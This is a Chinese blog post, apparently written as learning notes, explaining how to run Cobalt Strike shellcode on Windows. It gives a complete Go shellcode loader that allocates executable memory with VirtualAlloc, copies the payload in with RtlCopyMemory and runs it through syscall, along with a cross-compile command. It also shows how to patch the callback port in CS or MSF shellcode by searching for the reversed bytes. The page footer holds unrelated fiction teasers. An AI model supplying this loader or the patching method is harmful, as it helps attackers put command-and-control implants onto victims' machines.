浅谈cs的shellcode的使用方法

前言:学习心得,大佬勿喷

看完本文你会了解到:

1、cs中的shellcode是做什么的?

2、用类似于cs、msf生成的shellcode的加载器是什么样的?

3、windows api是什么?

4、怎样从msf及cs生成的shellcode里直接修改监听ip和监听端口?

准备工作

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。我们经常在CS里面生成指定编程语言的payload,而这个payload里面就是一段十六进制的机器码。

使用cs生成一个c的payload

1

这个文件里面就是一段shllcode。

2

接下来我们从编写shellcode加载器开始到运行上线CS来分析一下这个shellcode做了什么。

0x01 shellcode加载器介绍及cs上线操作

要想运行shellcode并上线机器的话,最常见的办法就是编写shellcode加载器,那么什么是shellcode加载器呢?

我们知道在计算机中无论什么程序到最后都会转换成二进制代码让CPU去运行,而CPU是负责运算和处理的,内存是交换数据的,没有内存,CPU就没法接收到数据。内存是计算机与CPU进行沟通的桥梁。计算机中所有程序的运行都是在内存中进行的。

所以shellcode加载器就是为shellcode申请一段内存然后把shellcode加载到内存中让机器执行这段shellcode,也就是说这个加载器就是个让shellcode运行起来的东西(这不是废话么)。下面我复制粘贴了段go语言的shellcode的加载器,我们可以用这歌加载器来上线windows机器。

package main

import (
    _"io/ioutil"
    "os"
    "syscall"
    "unsafe"
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40
)

var (
    kernel32      = syscall.MustLoadDLL("kernel32.dll")         //调用kernel32.dll
    ntdll         = syscall.MustLoadDLL("ntdll.dll")            //调用ntdll.dll
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")       //使用kernel32.dll调用ViretualAlloc函数
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")         //使用ntdll调用RtCopyMemory函数
    shellcode_buf = []byte{
        // 你的shellcode,0x3f, 0x2e...格式的
    }
)

func checkErr(err error) {
    if err != nil {       //如果内存调用出现错误,可以报出
        if err.Error() != "The operation completed successfully." { //如果调用dll系统发出警告,但是程序运行成功,则不进行警报
            println(err.Error()) //报出具体错误
            os.Exit(1)
        }
    }
}

func main() {
    shellcode := shellcode_buf

    //调用VirtualAlloc为shellcode申请一块内存
    addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    if addr == 0 {
        checkErr(err)
    }

    //调用RtlCopyMemory来将shellcode加载进内存当中
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    checkErr(err)

    //syscall来运行shellcode
    syscall.Syscall(addr, 0, 0, 0, 0)
}

在shellcode_buf里面放好前面cs生成的c的payload时后来编译运行。

windows机器上正常编译,MacOS与linux机器或者其他操作系统上运行下面这段代码来编译。

CGO_ENABLED=0 GOOS=windows  go build main.go
3

这行自行脑补一张win10打开main.exe的图片。

4

成功上线,这就是我们上线机器的过程,接下来我们来一步步的去分析这个过程事如何实现的

0x02 shellcode加载器所用数据类型及 Windows API 函数大致介绍

[ + ] VirtualAlloc

VirtualAlloc 是 Windows API 函数。该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页。简单点的意思就是申请内存空间。包含在 Windows 系统文件 Kernel32.dll 中。

使用详情:https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc

5

调用VirtualAlloc的话需要有四个参数,如文档中提到的lpAddress、dwSize、flAllocationType、flProtect,其中每个参数的介绍如下:

lpAddress:内存指针,规定开始的地方。

dwSize:要用内存的大小。

flAllocationType*:内存类型,规定要怎么去用这块内存

flProtect:内存属性

[ + ] RtlMoveMemory

RtlCopyMemory是 Windows API 函数。该函数可以从指定内存中复制内存至另一内存里。简称:复制内存。它包含在 Ntdll.dll 中

6

调用 RtlMoveMemory 的话需要三个参数,如文档中提到的Destination、Source、Length,其中每个参数的介绍如下:

Destination:指向要复制字节的目标内存块的指针。

Source:指向要复制字节的源内存块的指针。

Length:从源复制到目标中的字节数。

[ + ] uintptr*

整型,可以足够保存指针的值得范围

[ + ] syscall*

系统调用。syscall包包含一个指向底层操作系统原语的接口,它接收4个参数,其中trap为中断信号,a1,a2,a3为底层调用函数对应的参数。具体用法为:

syscall.Syscall(trap, a1, a2, a3 uintptr)

其中用不到的补0就行。

[ + ] golang调用windows api

参考文章:https://www.jianshu.com/p/8e454a012cdc。关键词:golang调用windows api(这里主要针对go语言,师傅们可以尝试去写一个其他语言的shellcode加载器,原理都是调用windows api)。

0x03 shellcode加载器代码分析

加载器加载shellcode就是用go调用windows api然后操作内存来实现的。

1. 从入口函数main起看,首先是声明一个shellcode变量并赋值。

shellcode := shellcode_buf

2. 接下来用VirtualAlloc为shellcode申请了一段内存空间。

addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

在这行代码中,我们用go语言调用了windpws api中的VirtualAlloc函数,它在 Windows 系统文件 Kernel32.dll 中(0x02开头有官方的函数用法介绍),因此我们在开头有几行代码是调用dll中的函数的

7

继续来看VirtualAlloc函数,这里面有四个参数分别是:

addrlpAddress               <==         0                                               // 内存指针,规定开始的地方。
dwSize                          <==         uintptr(len(shellcode)) // 内存分配的大小,必须得是uintptr型
flAllocationType      <==           MEM_COMMIT|MEM_RESERVE  // 内存类型,规定要怎么去用这块内存,具体见下表
flProtect                       <==         PAGE_EXECUTE_READWRITE  // 内存属性,具体见下下表

MEM_COMMIT|MEM_RESERVE

15

3. 然后调用RtlCopyMemory函数来将shellcode加载进内存当中

_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

RtlCopyMemory函数对应的三个参数分别是

Destination                 <==         addr变量,指向要复制字节的目标内存块的指针。
Source                          <==                 (uintptr)(unsafe.Pointer(&shellcode[0])),指向要复制字节的源内存块的指针。
Length                          <==                 uintptr(len(shellcode)) 从源复制到目标中的字节数。

4. 最后使用syscall来执行shellcode

syscall.Syscall(addr, 0, 0, 0, 0)           // 用不到的就补0

到这里一个基本的shellcode加载器就实现了,总而言之就是:

申请内存-->把shellcode加载到内存-->让这段内存里的东西运行起来

0x04 从shellcode里直接修改上线IP与端口

一、前奏小知识

1. 端口为什么会是65535个?

在TCP、UDP协议的开头,会分别有16位来存储源端口号和目标端口号,所以端口个数是216-1=65535个。简单来讲端口就是从十六进制的0000-FFFF

8
2. 内存地址是从低地址到高地址记录的

例如

9

一个内存单元比如0x000001可以存放一个字节,比如把55555转换成十六进制就是D903:

10

而一个字节就是D9或者03,在D903中,因为字在寄存器中是这样储存的

11

所以D9属于高位,03属于低位,如果要放在内存里面从0x000001开始的话就是0X000001放着03,0x000002放着D9

二、修改上线IP与端口

假如你生成的端口为5555,把它转换为十六进制就是D903,我们反过来搜03D9就可以了(根据生成shellcode的格式自行搜索,或者只搜索一个D9,然后看它前面的是不是03,如果是的话就说明这俩个字节就是我们的上线端口),这样就确定了监听端口的位置。

12

接下来把要替换的端口号转换成十六进制

13

然后再倒序修改shellcode里面监听的端口号的位置

14

好了,这样就修改成功了,放到加载器去上线吧,修改监听IP,留给大家思考。

求走过路过的大佬的一个小赞

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 220,458评论 6 513
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 94,030评论 3 396
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 166,879评论 0 358
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 59,278评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 68,296评论 6 397
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 52,019评论 1 308
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,633评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,541评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 46,068评论 1 319
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,181评论 3 340
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,318评论 1 352
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,991评论 5 347
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,670评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,183评论 0 23
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,302评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,655评论 3 375
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,327评论 2 358

推荐阅读更多精彩内容